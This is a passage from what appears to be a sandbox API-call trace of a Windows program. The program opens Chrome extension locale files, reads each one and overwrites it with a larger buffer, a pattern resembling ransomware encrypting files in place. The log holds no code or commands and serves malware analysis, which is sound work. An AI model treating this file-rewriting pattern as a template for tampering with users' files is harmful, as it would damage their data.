HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.615] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.615] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x109 [0047.615] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.615] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.615] ReleaseMutex (hMutex=0x128) returned 1 [0047.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.615] ReadFile (in: hFile=0x170, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2f4f2bc*=0x109, lpOverlapped=0x0) returned 1 [0047.616] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.616] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x691, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x691, lpOverlapped=0x0) returned 1 [0047.616] CloseHandle (hObject=0x170) returned 1 [0047.616] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.616] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.617] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xf3 [0047.617] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.617] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.617] ReleaseMutex (hMutex=0x128) returned 1 [0047.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.617] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.617] ReadFile (in: hFile=0x170, lpBuffer=0x2737158, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737158*, lpNumberOfBytesRead=0x2f4f2bc*=0xf3, lpOverlapped=0x0) returned 1 [0047.618] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.618] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x67b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x67b, lpOverlapped=0x0) returned 1 [0047.618] CloseHandle (hObject=0x170) returned 1 [0047.618] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.618] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.619] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x125 [0047.619] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.619] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.619] ReleaseMutex (hMutex=0x128) returned 1 [0047.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.619] ReadFile (in: hFile=0x170, lpBuffer=0x262ebf8, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262ebf8*, lpNumberOfBytesRead=0x2f4f2bc*=0x125, lpOverlapped=0x0) returned 1 [0047.620] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.620] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ad, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6ad, lpOverlapped=0x0) returned 1 [0047.620] CloseHandle (hObject=0x170) returned 1 [0047.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.620] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.620] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x119 [0047.620] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.621] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.621] ReleaseMutex (hMutex=0x128) returned 1 [0047.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.621] ReadFile (in: hFile=0x170, lpBuffer=0x2644ab8, nNumberOfBytesToRead=0x119, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644ab8*, lpNumberOfBytesRead=0x2f4f2bc*=0x119, lpOverlapped=0x0) returned 1 [0047.621] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.622] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6a1, lpOverlapped=0x0) returned 1 [0047.622] CloseHandle (hObject=0x170) returned 1 [0047.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.622] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.622] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x111 [0047.622] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.622] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.623] ReleaseMutex (hMutex=0x128) returned 1 [0047.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.623] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.623] ReadFile (in: hFile=0x170, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2f4f2bc*=0x111, lpOverlapped=0x0) returned 1 [0047.624] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.624] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x699, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x699, lpOverlapped=0x0) returned 1 [0047.624] CloseHandle (hObject=0x170) returned 1 [0047.624] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0047.625] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.625] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xb3 [0047.625] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0047.625] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.625] ReleaseMutex (hMutex=0x128) returned 1 [0047.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.625] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0047.625] ReadFile (in: hFile=0x170, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x2f4f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0047.626] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0047.626] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0047.627] CloseHandle (hObject=0x170) returned 1 [0047.627] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.148] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.148] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xb3 [0048.148] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.148] ReleaseMutex (hMutex=0x128) returned 1 [0048.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.148] ReadFile (in: hFile=0x170, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2f4f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0048.149] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.149] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0048.149] CloseHandle (hObject=0x170) returned 1 [0048.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.453] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.453] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xb3 [0048.453] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.453] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.453] ReleaseMutex (hMutex=0x128) returned 1 [0048.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.454] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.454] ReadFile (in: hFile=0x170, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2f4f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0048.454] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.454] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0048.455] CloseHandle (hObject=0x170) returned 1 [0048.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.455] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.455] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xb3 [0048.455] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.455] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.455] ReleaseMutex (hMutex=0x128) returned 1 [0048.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.455] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.455] ReadFile (in: hFile=0x170, lpBuffer=0x1e37188, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37188*, lpNumberOfBytesRead=0x2f4f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0048.456] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.456] WriteFile (in: hFile=0x170, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0048.456] CloseHandle (hObject=0x170) returned 1 [0048.457] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.458] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.458] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xfe [0048.458] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.458] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.458] ReleaseMutex (hMutex=0x128) returned 1 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.458] ReadFile (in: hFile=0x170, lpBuffer=0x1ddc528, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddc528*, lpNumberOfBytesRead=0x2f4f2bc*=0xfe, lpOverlapped=0x0) returned 1 [0048.459] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.459] WriteFile (in: hFile=0x170, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x686, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2f4f2d0*=0x686, lpOverlapped=0x0) returned 1 [0048.459] CloseHandle (hObject=0x170) returned 1 [0048.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 